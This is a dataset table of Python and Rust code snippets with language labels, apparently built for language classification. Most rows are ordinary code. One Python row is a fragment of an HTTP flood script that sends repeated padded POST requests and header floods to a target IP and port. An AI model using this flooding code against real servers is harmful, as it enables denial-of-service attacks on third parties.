text string | label_name string | labels int64 |
|---|---|---|
import torch
import torch.nn as nn
from nets.attention import *
attention_block =[se_block,cbam_block,eca_block]
class ContinusParalleConv(nn.Module):
# 一个连续的卷积模块,包含BatchNorm 在前 和 在后 两种模式
def __init__(self, in_channels, out_channels, pre_Batch_Norm=True):
super(ContinusParalleConv, self).__init__()
... | Python | 1 |
self.log.info("Copying %s -> %s", matching_filename, dest)
link_or_copy(matching_filename, dest)
# Determine where to write conversion results.
if output_extension is not None:
dest = notebook_name + output_extension
else:
... | Python | 1 |
env,
pos,
expr,
targs,
args,
uarg.as_ref(),
async_eager_label,
readonly_return,
)?;
Ok(emit_pos_then(alloc, pos, instrs))
}
}
}
pub fn emit_reified_generic_instrs... | Rust | 0 |
nfo!(
"{}.KEEP.{}: amount: {}, created_at: {}, undelegated: {}",
netid, oa, amount, created_at, undelegated_at
);
let supply =
get_unbonded_value(&web3, "0x60535a59b4e71f908f3feb0116f450703fb35ed8", oa).await?;
info!("{}.ETH unbondedValue: {}", netid, supply);
Ok(0)
}
async fn... | Rust | 0 |
ing_consume(take(&mut self.current_string), self.offset)?;
} else {
self.current_string.push(c);
}
Ok(())
}
fn stop_consume(&mut self) -> ErrorResult {
if self.is_start_writing {
self.writer.borrow_mut().finish_string_consume()?;
}
self.is... | Rust | 0 |
"""
fck = abs(fck)
return 2.0 if fck <= 50 else (1.4 + 23.4 * ((90 - fck) / 100) ** 4)
def eps_c3(fck: float) -> float:
"""The strain at maximum compressive stress of the bi-linear law.
EN 1992-1-1:2004, Table 3.1.
Args:
fck (float): The characteristic compressive strength of concrete... | Python | 1 |
SchemaVersion").string(var_1159);
}
if let Some(var_1160) = &input.capture_time {
object.key("CaptureTime").string(var_1160);
}
if let Some(var_1161) = &input.content_hash {
object.key("ContentHash").string(var_1161);
}
if let Some(var_1162) = &input.content {
let mut arr... | Rust | 0 |
!("2db5168e932556f8089a0622981d017d"),
aad: &[],
ct: &hex!("fa4362189661d163fcd6a56d8bf0405a"),
tag: [0xd636ac1b, 0xbedd5cc3, 0xee727dc2, 0xab4a9489],
},
Gcm {
key: [
0x460fc864, 0x972261c2, 0x560e1eb8, 0x8761ff1c, 0x992b9824, 0x97bd2ac3, 0x6c04071c,
0xbb8... | Rust | 0 |
from pydantic import BaseModel
from db_config.db_connection import get_connection
with get_connection() as conn:
with conn.cursor() as curs:
curs.execute('''CREATE TABLE IF NOT EXISTS orders
(ID serial PRIMARY KEY NOT NULL,
CREATION_TIME TIMESTAMP NOT NULL,\
CHANGE_TIME TIMESTAMP N... | Python | 1 |
= B → Y → A
// Authenticator = C → Z → B
// Server = A → X → C
type BtoAClose = End;
type BtoCClose = End;
type BtoCVideo = Send<i32, Recv<i32, End>>;
type BtoAVideo = Recv<i32, Send<i32, RecursBtoA>>;
type InitB = Recv<i32, Send<i32, RecursBtoA>>;
type CtoBClose = <BtoCClose as Session>::Dual;
type CtoAClose = End... | Rust | 0 |
-------------------------------------------------------------
# Start with first data cell; add one cell at each iteration
# -----------------------------------------------------------------
# last = core_loop(N, block_length, weights, fitfunc, best, last)
for R in range(N):
# Compute fit_vec : ... | Python | 1 |
ader,
opcode::QUERY,
};
use crate::compression::Compression;
pub struct Query(pub Vec<u8>);
impl Header for Query {
fn new() -> Self {
Query(Vec::new())
}
fn with_capacity(capacity: usize) -> Self {
Query(Vec::with_capacity(capacity))
}
fn version(mut self) -> Self {
se... | Rust | 0 |
"""Author Anurag Kumar(mailto:anuragkumarak95@gmail.com)
Module for Fetching Random Wiki Pages and asking user for opening one of them
Python:
- 3.5
Requirements:
- requests
- json
- webbrowser
Usage:
- $python3 wiki_random.py
enter index of article you would like to see, or 'r' for retry and 'n' for exit... | Python | 1 |
n() {
fast_log::init(Config::new().console());
let mut url = "http://www.baidu.com".to_string();
let client = Client::new();
let mut res = client.get(&url)
.header(Connection::close())
.send().unwrap();
println!("Response: {}", res.status);
println!("Headers:\n{}", res.header... | Rust | 0 |
"""Basic organisation pool to structure processes."""
from pyramid.registry import Registry
from adhocracy_core.interfaces import IPool
from adhocracy_core.resources import add_resource_type_to_registry
from adhocracy_core.resources.asset import add_assets_service
from adhocracy_core.resources.pool import pool_meta
fr... | Python | 1 |
}
}
impl ToString for TargetOS {
fn to_string(&self) -> String {
match *self {
TargetOS::Windows => String::from("--target-os=windows"),
TargetOS::Ps4 => String::from("--target-os=ps4"),
TargetOS::Linux => String::from("--target-os=linux"),
TargetOS::Maco... | Rust | 0 |
debug!(
" Asked for OpenGL {}.{} Core, vsync: {}",
major, minor, window_setup.vsync
);
debug!(" Actually got: OpenGL ?.? {:?}, vsync: ?", api);
debug!(" Window size: {}x{}, drawable size: {}x{}", w, h, dw, dh);
let device_info = back... | Rust | 0 |
def model_has_vae(args):
config_file_name = os.path.join('vae', AutoencoderKL.config_name)
if os.path.isdir(args.pretrained_model_name_or_path):
config_file_name = os.path.join(args.pretrained_model_name_or_path,
config_file_name)
return os.path.isfile(config_file_name)
else:
... | Python | 1 |
nt == "best":
if os.path.exists(self.best_path):
self.log("[INFO] Loading best checkpoint ...")
self.load_checkpoint(self.best_path)
else:
self.log(f"[INFO] {self.best_path} not found, loading latest ...")
se... | Python | 1 |
can be done on a &Mutex because of the Deref trait.
let lock_result: LockResult<MutexGuard<i32>> = mutex.lock();
let mutex_guard: MutexGuard<i32> = lock_result.unwrap();
let value: i32 = *mutex_guard;
println!("value: {}", value);
}
{
// Careful - string formatting a... | Rust | 0 |
from telegram import (
ReplyKeyboardMarkup,
KeyboardButton,
ReplyKeyboardRemove,
KeyboardButtonRequestUsers,
KeyboardButtonRequestChat
)
from locales import get_text
class CustomKeyboard:
@staticmethod
def get_share_keyboard(lang: str) -> ReplyKeyboardMarkup:
"""获取分享键盘"""
... | Python | 1 |
es = morphology.binary_closing(road_bridges, numpy.ones((3, 3)), iterations=3)
# label the larger mask image
label_img = ndm.label(mask)[0]
# extract the unique labels that match the seeds
selected, counts = numpy.unique(label_img, return_counts=True)
# filter out very oblong objects
subselecte... | Python | 1 |
ync {
assert!(wallclock_elapsed_time >= summary.pts_range() - start_offset_ms * MSECOND);
}
}
#[test]
fn test_pravegasrc_start_mode_timestamp_max() {
let test_config = &get_test_config();
info!("test_config={:?}", test_config);
let stream_name = &format!("test-pr... | Rust | 0 |
ssert_eq!(v, Value::SimpleString("".to_string()));
let simple = "+OK\r\n";
v = get_value(simple);
assert_eq!(v, Value::SimpleString("OK".to_string()));
}
#[test]
fn check_error_val() {
let error_message = "-ERROR: Key not found\r\n";
let v = get_value(error_message)... | Rust | 0 |
import taichi as ti
@ti.kernel
def composite_test(
sigmas: ti.types.ndarray(ndim=2), rgbs: ti.types.ndarray(ndim=3),
deltas: ti.types.ndarray(ndim=2), ts: ti.types.ndarray(ndim=2),
hits_t: ti.types.ndarray(ndim=2),
alive_indices: ti.types.ndarray(ndim=1), T_threshold: float,
N_eff_samples: ti.type... | Python | 1 |
ToServer,
algo,
k: k.clone(),
h: h.clone(),
sid: sid.clone(),
}
}
pub fn new_s2c(algo: KeyAlgorithm, k: &Secret, h: &Secret, sid: &Secret) -> Self {
Self {
dir: KeyDirection::ServerToClient,
algo,
k: k.clone(),
... | Rust | 0 |
import logging
import re
from collections.abc import Sequence
from mitmproxy import ctx
from mitmproxy import exceptions
from mitmproxy.addons.modifyheaders import ModifySpec
from mitmproxy.addons.modifyheaders import parse_modify_spec
from mitmproxy.log import ALERT
logger = logging.getLogger(__name__)
class Modif... | Python | 1 |
_void { self.inner_as_raw() }
}
impl crate::cudastereo::CUDA_StereoSGM for PtrOfCUDA_StereoSGM {
#[inline] fn as_raw_mut_CUDA_StereoSGM(&mut self) -> *mut c_void { self.inner_as_raw_mut() }
}
impl core::AlgorithmTraitConst for PtrOfCUDA_StereoSGM {
#[inline] fn as_raw_Algorithm(&self) -> *const c_void { sel... | Rust | 0 |
import concurrent.futures
import threading
import torch.nn as nn
import torch.nn.functional as F
import torch
from mamba_main.mamba_ssm import Mamba
from layers.SelfAttention_Family import FullAttention, AttentionLayer
from print import print
from printt import printt
class EncoderLayer(nn.Module):
def __init__(se... | Python | 1 |
ters("abcd")).unwrap();
b.add_base(characters("abc")).unwrap();
b.add_base(characters("ab")).unwrap();
b
}
multibase_tests!(
base_4_3_2,
23, // 4 * 3 * 2 == 24
1,
[0 => "aaa",
5 => "acb",
9 => "bbb",
11 => "bcb",
17 =>... | Rust | 0 |
S.append((VisionStreamType.VISION_STREAM_WIDE_ROAD, cam.ecam, wide_road_img.flatten().tobytes()))
STREAMS.append((VisionStreamType.VISION_STREAM_DRIVER, cam.dcam, driver_img.flatten().tobytes()))
t = TestUI()
for name, setup in CASES.items():
with OpenpilotPrefix():
params = Params()
params.put(... | Python | 1 |
remove(PIN) {
impl_unpin.push(ty);
proj_fields.push(quote!(#ident: ::core::pin::Pin<&'__a mut #ty>));
proj_init.push(quote!(#ident: ::core::pin::Pin::new_unchecked(&mut this.#ident)));
} else {
proj_fields.push(quote!(#ident: &'__a mut #ty));
proj_init... | Rust | 0 |
tacle_discovery::Discovery::new(addr_mgr, Some(sync_interval));
let inner = tentacle_discovery::DiscoveryProtocol::new(inner_discovery);
Discovery { inner }
}
pub fn build_meta(self, protocol_id: ProtocolId) -> ProtocolMeta {
MetaBuilder::new()
.id(protocol_id)
... | Rust | 0 |
Performance Metrics Comparison', fontsize=16, fontweight='bold')
ax.set_xticks(x_positions)
ax.set_xticklabels(df_percentage['Metric'], fontsize=12)
ax.grid(axis='y', linestyle='--', alpha=0.7)
ax.legend(fontsize=12)
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
plt.tight_layout()
plt.save... | Python | 1 |
self.learning_rate = learning_rate
self.beta_1 = beta_1
self.beta_2 = beta_2
self.epsilon = epsilon
for i, layer in enumerate(self.parameters, start=1):
self.params[f"vdW{i}"] = np.zeros_like(layer['dw'])
self.params[f"vdB{i}"] = np.zeros_like(layer['db']... | Python | 1 |
multi::separated_list0,
sequence::{preceded, tuple},
IResult,
};
use std::{
cmp::{max, min},
collections::HashSet,
};
pub const REACTOR_REBOOT: Problem<ReactorRebootArgs, Vec<RebootStep>> = Problem::new(
sub_command,
"reactor-reboot",
"day22_reactor_reboot",
parse_arguments,
par... | Rust | 0 |
t=prompt)],
next_step="generate_sql",
query_result=None,
attempt_count=0,
current_step="generate_sql"
)
# Call the agent's ask method to run the full LangGraph workflow
final_... | Python | 1 |
ies to the
/// message, each Reply-to address receives the reply.</p>
pub reply_to_addresses: &'a std::option::Option<std::vec::Vec<std::string::String>>,
/// <p>The address that you want bounce and complaint notifications to be sent to.</p>
pub feedback_forwarding_email_address: &'a std::option::Option... | Rust | 0 |
let n = g.next().as_i64().unwrap();
assert!(n >-1 && n < 11 )
}
});
if_let!(gen("int(-10,11)") => Ok(g) => {
for _ in (0..1000).into_iter() {
let n = g.next().as_i64().unwrap();
assert!(n > -11 && n < 11 )
... | Rust | 0 |
= Arc::new(BoxSemaphore::new(2));
let b1 = b.clone();
co!(move ||{
b1.acquire();
println!("{}",1);
println!("num:{}",b1.permit());
});
sleep(Duration::from_secs(1));
let b2 = b.clone();
co!(move ||{
b2.acquire();
... | Rust | 0 |
"""
A sensor platform which detects underruns and capped status from the official Raspberry Pi Kernel.
Minimal Kernel needed is 4.14+
"""
__version__ = '0.2.1'
import logging
import os
from homeassistant.components.binary_sensor import (
DEVICE_CLASS_PROBLEM,
BinarySensorEntity,
)
_LOGGER = logging.getLogger... | Python | 1 |
from bugsnag.request_tracker import RequestTracker
def test_a_request_can_be_tracked():
tracker = RequestTracker()
assert not tracker.has_in_flight_requests()
tracker.new_request()
assert tracker.has_in_flight_requests()
def test_a_request_can_be_marked_as_complete():
tracker = RequestTracker()... | Python | 1 |
import json
import requests
import streamlit as st
st.set_page_config(
page_icon="assets/favicon.png",
page_title="마이데이터 레퍼런스 Q&A 챗봇",
)
st.title("🎓 마이데이터 레퍼런스 Q&A 챗봇")
st.caption("마이데이터 공식 문서를 기반으로 정책과 기술 사양 등을 답변해드립니다.")
if "messages" not in st.session_state:
st.session_state["messages"] = [
{
... | Python | 1 |
#!/usr/bin/python
ANSIBLE_METADATA = {
'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMENTATION = r'''
module: win_vmware_desktop_foldersmgmt
short_description: Implement the Shared Folders Management part of the API
version_added: "2.4"
description:
- "Manage V... | Python | 1 |
s=""
t=""
k=0
m=min(len(s),len(t))
if len(s)==0 or len(t)==0:
if max(len(s),len(t))<=k:
print("Yes")
else:
print("No")
for i in range(m):
if s[i]!=t[i] :
ch1=s[i::]
ch2=t[i::]
if (len(ch1)+len(ch2))>k:
print ("No")
else:
print ("Yes... | Python | 1 |
) };
// Verify the NT headers
if nt.Signature != IMAGE_NT_HEADERS_SIGNATURE ||
!(nt.OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC || nt.OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
{
return Err(Error::BadMagic);
}
if nt.OptionalHeader.SizeOfHeaders as usize > image.len() {
return Err(Error:... | Rust | 0 |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import api, models, fields
class goal_manual_wizard(models.TransientModel):
"""Wizard to update a manual goal"""
_name = 'gamification.goal.wizard'
_description = 'Gamification Goal Wizard'
go... | Python | 1 |
# RGB values
# Yellow and orange might be very similar, so just pick one of them
# Black is safe
acc_black = [0, 0, 0]
acc_orange = [230, 159, 0]
acc_blue = [86, 180, 233]
acc_green = [0, 158, 115]
acc_yellow = [240, 228, 66]
max_val = 255
norm_acc_black = acc_black
norm_acc_orange = [i / max_val for i in acc_orange]
... | Python | 1 |
atMap expression provided to `render_flat_map`");
}
}
}
// Copyright 2016 <NAME>, The Alacritty Project Contributors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// ... | Rust | 0 |
let mut effects: Vec<(Vec<String>, Effect)> = self
.effects
.iter()
.map(|e| (path.clone(), e.clone()))
.collect();
effects.extend(self.children.iter().flat_map(|(name, feature)| {
let mut path = path.clone();
path.push(name.clone... | Rust | 0 |
):
client.send(b"POST / HTTP/1.1\r\nHost: {target_website}\r\nContent-Length: 1000\r\n\r\n" + b"A" * 1000)
print(f"HTTP请求体泛洪已对 {target_ip} 端口 {target_port} 完成 {count} 次请求")
def http_header_flood(target_ip, target_port, count):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.conne... | Python | 1 |
MemManage fault on unstacking for a return from exception\n\nValue on reset: 0"]
#[derive(Clone, Copy, Debug, PartialEq)]
pub enum MUNSTKERR_A {
#[doc = "0: no unstacking fault"]
MUNSTKERR_0 = 0,
#[doc = "1: unstack for an exception return has caused one or more access violations"]
MUNSTKERR_1 = 1,
}
im... | Rust | 0 |
#!/usr/bin/python3
"""
Basic serialization module that adds the functionality to serialize
a Python dictionary to a JSON file and deserialize the JSON file to
recreate the Python Dictionary.
"""
import json
def serialize_and_save_to_file(data, filename):
"""
Serializes a Python dictionary and saves it to a J... | Python | 1 |
class Employee:
def show(self):
print(f"The Name is {self.name} and the salary is {self.salary}")
class Programmer(Employee):
# def show(self):
# print(f"The Name is {self.name} and the salary is {self.salary}, and the programming language is {self.language}")
def showLanguages(sel... | Python | 1 |
import logging
import sys
from app.config.settings import settings
def setup_logging():
"""Configure logging for the service"""
logging.basicConfig(
level=getattr(logging, settings.LOG_LEVEL),
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.... | Python | 1 |
2 as the type for discarded outputs
'x'
};
format!("{{{}mm{}}}", class, idx)
} else if let Some(idx) = a64_vreg_index(reg) {
let class = if let Some(layout) = layout {
match layout.size.bytes() {
... | Rust | 0 |
from batches import *
import torch.cuda
import eval_metrics
import math
def validation(model, num_users, test_positive, val_positive, train_matrix,k_list, nearPOI):
model.eval()
batch_size =1024
recommended_list = []
for user_id in range(num_users):
user_history, target_list, _ = test_batch(t... | Python | 1 |
from_raw(LLVMCreateBuilderInContext(self.as_mut())) }
}
pub fn create_module_with_name<T: Borrow<Str>>(&mut self, name: &T) -> Module {
unsafe {
Module::from_raw(LLVMModuleCreateWithNameInContext(
name.borrow().as_ptr(),
self.as_mut(),
))
... | Rust | 0 |
ze::Qword,
)
}
#[test]
fn pclmulqdq_4() {
run_test(
&Instruction {
mnemonic: Mnemonic::PCLMULQDQ,
operand1: Some(Direct(XMM5)),
operand2: Some(IndirectScaledIndexedDisplaced(
RBX,
RDI,
Four,
486684225,
... | Rust | 0 |
advertising_channel_type: (
gage_advertising_channel_type.AdvertisingChannelTypeEnum.AdvertisingChannelType
) = proto.Field(
proto.ENUM,
number=2,
enum=gage_advertising_channel_type.AdvertisingChannelTypeEnum.AdvertisingChannelType,
)
advertising_channel_sub_type: MutableSequ... | Python | 1 |
from pydantic import computed_field
from pydantic_settings import BaseSettings
from functools import lru_cache
class JWTSettings(BaseSettings):
jwt_secret: str
jwt_algorithm: str = "HS256"
jwt_expires_minutes: int = 60 * 24 # 1 day
class Config:
extra = "allow"
env_file = ".env"
cl... | Python | 1 |
= vec![0u8; code.output_len()];
code.decode_bf(&rxcode.0, &mut rxdata, &mut working, iterations as usize);
Ok((ok(), Bin(rxdata)).encode(env))
}
// TM8192 scheme encode/decode
#[rustler::nif(name = "encode_tm8192")]
fn encode_tm8192<'a>(env: Env<'a>, data: Bin) -> NifResult<Term<'a>> {
let code = LDPCCode... | Rust | 0 |
&p1).unwrap().opinions.insert(p2.clone(), value);
}
}
people
}
#[aoc(day13, part1)]
pub fn part1(input: &str) -> i32 {
let persons = parse_input(input);
let mut best = 0;
for mut c in persons.keys().map(String::from).permutations(persons.len()) {
let mut total = 0;
c.push(c[0].clone());
for (p1, p2) in... | Rust | 0 |
PartialEq, Eq, Clone)]
pub struct AudioFormat {
/// Sample rate at which to play or record.
pub sample_rate: SampleRate,
/// How many bits each sample should have.
pub bit_rate: BitRate,
/// Number of channels.
pub channels: Channels,
}
impl AudioFormat {
pub(super) fn to_sapi(&self) -> WA... | Rust | 0 |
ed at iteration {save_iteration}.")
args.logger(f"All data saved at iteration {save_iteration} {client_id}.")
# Clean up temporary directory
for r in range(args.world_size):
temp_file_path = os.path.join(
temp_save_dir, f"temp_rank_{r}_{save_iteration}.pt"
... | Python | 1 |
ow the size of serialized object
# pickle format contains the size information internally
# see https://docs.python.org/3/library/pickle.html
obj = pickle.loads(buf[1:])
if overflow:
recv = self.local_socket.recv()
o... | Python | 1 |
(tdoc: TidyDoc, buf: *mut TidyBuffer) -> ::std::os::raw::c_int;
}
extern "C" {
#[doc = " Save the tidy document to an application buffer. If TidyShowMarkup and the"]
#[doc = " document has no errors, or TidyForceOutput, then the current document (per"]
#[doc = " the current configuration) will be pretty pri... | Rust | 0 |
=> 2,
O4RESR::TOGGLE_OUTPUT => 3,
}
}
#[allow(missing_docs)]
#[doc(hidden)]
#[inline]
pub fn _from(value: u8) -> O4RESR {
match value {
0 => O4RESR::NO_CHANGE,
1 => O4RESR::SET_OUTPUT_OR_CLEAR,
2 => O4RESR::CLEAR_OUTPUT_OR_SET,
... | Rust | 0 |
_base_ = [
'./upernet_transnext.py',
'mmsegext::_base_/datasets/ade20k_512_tta_without_ratio.py',
'mmseg::_base_/default_runtime.py',
'mmseg::_base_/schedules/schedule_160k.py'
]
optim_wrapper = dict(
_delete_=True,
type='OptimWrapper',
optimizer=dict(
type='AdamW', lr=6e-05, betas=... | Python | 1 |
{
Self {
}
}
pub fn record() -> Artifact {
Artifact::default()
.name("Thundering Fury")
.version(1.0)
.preference(&[Preference::Electro])
.electro_dmg(15.0)
.transformative_bonus(40.0)
.atk(SCORE.atk(40.0)).cr(SCOR... | Rust | 0 |
NodeKind::SubGroup(_) => Err(MissingName::new("failed to name sub-group", &kind)),
NodeKind::Choice(Choice {
kind: ChoiceKind::Regular(_),
inline: _,
}) => Err(MissingName::new("failed to name choice", &kind)),
NodeKind::Choice(Choice {
kind: ChoiceKind::Opt... | Rust | 0 |
(0x80) {
data.push(c);
assert!(is_borrowed(&data.to_cp437(&CP437_CONTROL).unwrap()));
assert!(is_borrowed(&[c].into_iter().collect::<String>().to_cp437(&CP437_CONTROL).unwrap()));
}
}
#[test]
fn owned_for_beyond_ascii() {
let mut data = String::new();
for c in ALL_UTF8.chars().skip... | Rust | 0 |
int(shipment_tracking_meta_data["date_shipped"]))
shipment_tracking["date_shipped"] = date_shipped.strftime("%Y-%m-%d")
order["shipment_trackings"] = json.dumps(order["shipment_trackings"])
except Exception as err:
log_and_raise_error(err)
return order
def update_shipment_tracking(self):
... | Python | 1 |
Some(&signer_pub),
);
println!("Constructed account transaction");
let (recent_blockhash, _fee_calculator) = rpc_client
.get_recent_blockhash()
.map_err(|err| format!("error: unable to get recent blockhash: {}", err))?;
println!("Got recent blockhash");
transaction
.try_sig... | Rust | 0 |
headers.append((warctools.WarcRecord.TYPE, warctools.WarcRecord.WARCINFO))
headers.append((warctools.WarcRecord.FILENAME, filename.encode('latin1')))
headers.append((warctools.WarcRecord.DATE, warc_record_date))
warcinfo_fields = []
warcinfo_fields.append(b'software: warcprox ' + warcpr... | Python | 1 |
that expires after 1 second.
//! ```
//! # use std::os::unix::io::AsRawFd;
//! # use nix::sys::timerfd::{TimerFd, ClockId, TimerFlags, TimerSetTimeFlags,
//! # Expiration};
//! # use nix::sys::time::{TimeSpec, TimeValLike};
//! # use nix::unistd::read;
//! #
//! // We create a new monotonic timer.
//! let timer = T... | Rust | 0 |
# -*- coding: utf-8 -*- #
# Copyright 2014 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | 1 |
apOutline = vtk.vtkPolyDataMapper()
mapOutline.SetInputConnection(outline.GetOutputPort())
outlineActor = vtk.vtkActor()
outlineActor.SetMapper(mapOutline)
outlineActor.GetProperty().SetColor(1, 1, 1)
acts = []
acts.append(table1Actor)
acts.append(table2Actor)
acts.append(FilingCabinet1... | Python | 1 |
sage: from sage.features.graph_generators import Benzene
sage: Benzene().is_present() # optional - benzene
FeatureTestResult('benzene', True)
"""
def __init__(self):
r"""
TESTS::
sage: from sage.features.graph_generators import Benzene
sage: isinstance(... | Python | 1 |
1.025,
1.5,
1.75,
1.9,
1.99999,
2.0,
2.000000001,
2.025,
2.5,
2.75,
2.9,
2.99999,
3.0,
];
const OTHER_VALUES: [f64; 13] = [
0.0, 0.0000001, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0.99999, 1.0,
... | Rust | 0 |
4];
let mut hasher = Keccak::v256();
hasher.update(signature.as_bytes());
hasher.finalize(&mut output);
output
}
/// Finds matching function signatures for a given 4 byte signature hash in the format
/// PrefixRndChars(args)
#[derive(Parser, Debug)]
#[clap(
name = "power-clash",
version = "1... | Rust | 0 |
logger.warning(f"Skipping floor {getattr(floor, 'floor_id', 'unknown')}: {e}")
continue
# Build final response
response_data = BuildingFloorsResponse(
building_id=building.building_id,
building_name=building.name,
total_floors=len(floor_lis... | Python | 1 |
ormed code invalid")
}
#[derive(Clone, Debug)]
pub struct ExprUnopNot {
pub expr: Expr,
pub span: Span,
}
impl TryFrom<Expr> for ExprUnopNot {
type Error = Expr;
fn try_from(expr: Expr) -> Result<Self, Expr> {
match expr {
Expr::Unary(expr) => match expr.op {
UnOp::... | Rust | 0 |
VX512F`
///
/// `16/32/64-bit`
EVEX_Vinserti64x4_zmm_k1z_zmm_ymmm256_imm8 = 3880,
/// `VEXTRACTI32X8 ymm1/m256 {k1}{z}, zmm2, imm8`
///
/// `EVEX.512.66.0F3A.W0 3B /r ib`
///
/// `AVX512DQ`
///
/// `16/32/64-bit`
EVEX_Vextracti32x8_ymmm256_k1z_zmm_imm8 = 3881,
/// `VEXTRACTI64X4 ymm1/m256 {k1}{z}, zmm2, imm... | Rust | 0 |
x.tag(xE!("state"))
.text("running".into());
x.tag(xE!("memory", snapshot => "external",
file => format!("{}/{}", pool_root, snapshot_ram_name)));
x.tag(xE!("disks"))
.tag(xE!("disk",
... | Rust | 0 |
color_pairs = ['WU','WB','WR','WG','UB','UR','UG','BR','BG','RG']
#The following is the NeoNiv deck minus one Niv-Mizzet, which is on the stack
deck = {
'WU': 4,
'WB': 2,
'WR': 1,
'WG': 3,
'UB': 2,
'UR': 0,
'UG': 2,
'BR': 0,
'BG': 1,
'RG': 3,
'Other': 41
}
def binom(n, k):
"""
Parameters:
n - Number ... | Python | 1 |
animal: Cell<Animal>,
#[property(get, set, flags)]
binding_flags: Cell<glib::BindingFlags>,
#[property(get, set, subtype = glib::ParamSpecObject)]
pspec: RefCell<glib::ParamSpec>,
#[property(get, set, variant = "i")]
vari... | Rust | 0 |
on",
query_path = "src/github/queries.graphql",
response_derives = "Debug,Clone"
)]
pub struct MilestoneBranches;
#[allow(dead_code)]
pub fn branches_by_pr_label(
token: String,
repo: Repo,
label: String,
) -> Result<Vec<String>, reqwest::Error> {
let q = LabelBranches::build_query(label_branch... | Rust | 0 |
#84. A partir de la lista definida en el ejercicio 81, haz que se visualice por pantalla una de las palabras, pero con todas sus letras desordenadas. El usuario tendrá que recolocar y acertar la palabra secreta. El usuario tendrá 3 oportunidades para adivinar la palabra.
import random
listapalabras=["casa","barco","ga... | Python | 1 |
EventTrigger {
fn default() -> Self {
ZEventTrigger {
event_name: "Event 0".to_owned(),
one_shot: false,
}
}
}
impl Serializable for ZEventTrigger {
const VERSION: i32 = 2;
fn accept<V: Visitor>(&mut self, mut visitor: V, version: i32) -> Result<()> {
if... | Rust | 0 |
action: t.action,
error: self.alpha * residual,
})
}
}
<reponame>sketchpunk/fungi_rs
#![allow(dead_code)]
use std::rc::Rc;
use std::cell::{ Ref, RefMut, RefCell };
//##################################################
thread_local!{
pub static WORLD: Rc<RefCell<World>> = Rc::new( RefCell::new(... | Rust | 0 |
# Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
from executorch.devtools.etrecord._etrecord import (
ETRecord,
generate_etrecord,
parse_etrecord,
)... | Python | 1 |
fe代码提供100%类型和内存安全保证,对于无法提供100%的内存安全保证的接口都使用了`unsafe`标记.最常见的就是获取引用,比如`&PBStr`.
//!
//! ```rust
//! impl<'obj> Object<'obj> {
//! pub unsafe fn get_var_str(&self, fid: impl VarId) -> Option<&'obj PBStr> { ... }
//! pub fn get_var_string(&self, fid: impl VarId) -> Option<PBString> { ... }
//! pub fn set_var_st... | Rust | 0 |
#!/usr/bin/python
"""
Simple IPv6 BBMD server that does _not_ have a network layer or application
layer.
"""
import asyncio
from typing import Callable
from bacpypes3.settings import settings
from bacpypes3.debugging import bacpypes_debugging, ModuleLogger
from bacpypes3.argparse import ArgumentParser
from bacpype... | Python | 1 |
gth for sha3/256
hk.expand(info, &mut result).unwrap();
// Now we reduce the result modulo group order. Cryptonote functions using
// the `scalar_from_bytes` macro require this because the macro uses
// `Scalar::from_canonical_bytes` rather than `Scalar::from_bits` or
// `Scalar::from_bytes_mod_ord... | Rust | 0 |
ither implement [`ChannelManagerPersister`] to never return an
/// error or call [`join`] and handle any error that may arise. For the latter case,
/// `BackgroundProcessor` must be restarted by calling `start` again after handling the error.
///
/// # Event Handling
///
/// `event_handler` is responsible for han... | Rust | 0 |
choice_rts = vmap_n(
get_all_choice_rts,
n_times=n_batch_dims,
t0=jnp.broadcast_to(self.t0, self.batch_shape),
)
# reshape (*batch_shape, sample_bins, 2) to (sample_bins, *batch_shape, 2)
probs = jnp.exp(self.log_prob(jnp.moveaxis(choice_rts, -2, 0))) * self.... | Python | 1 |
self) -> BUFLM3_A {
match self.bits {
false => BUFLM3_A::_0,
true => BUFLM3_A::_1,
}
}
#[doc = "Checks if the value of the field is `_0`"]
#[inline(always)]
pub fn is_0(&self) -> bool {
*self == BUFLM3_A::_0
}
#[doc = "Checks if the value of the fi... | Rust | 0 |
{
sym!(self, xcb_xfixes_create_region_from_bitmap_checked)(c, region, bitmap)
}
/// Returns `true` iff the symbol `xcb_xfixes_create_region_from_bitmap_checked` could be loaded.
#[cfg(feature = "has_symbol")]
pub fn has_xcb_xfixes_create_region_from_bitmap_checked(&self) -> bool {
has_... | Rust | 0 |
59918,z=-15349..69697
off x=-44271..17935,y=-9516..60759,z=49131..112598
on x=-61695..-5813,y=40978..94975,z=8655..80240
off x=-101086..-9439,y=-7088..67543,z=33935..83858
off x=18020..114017,y=-48931..32606,z=21474..89843
off x=-77139..10506,y=-89994..-18797,... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.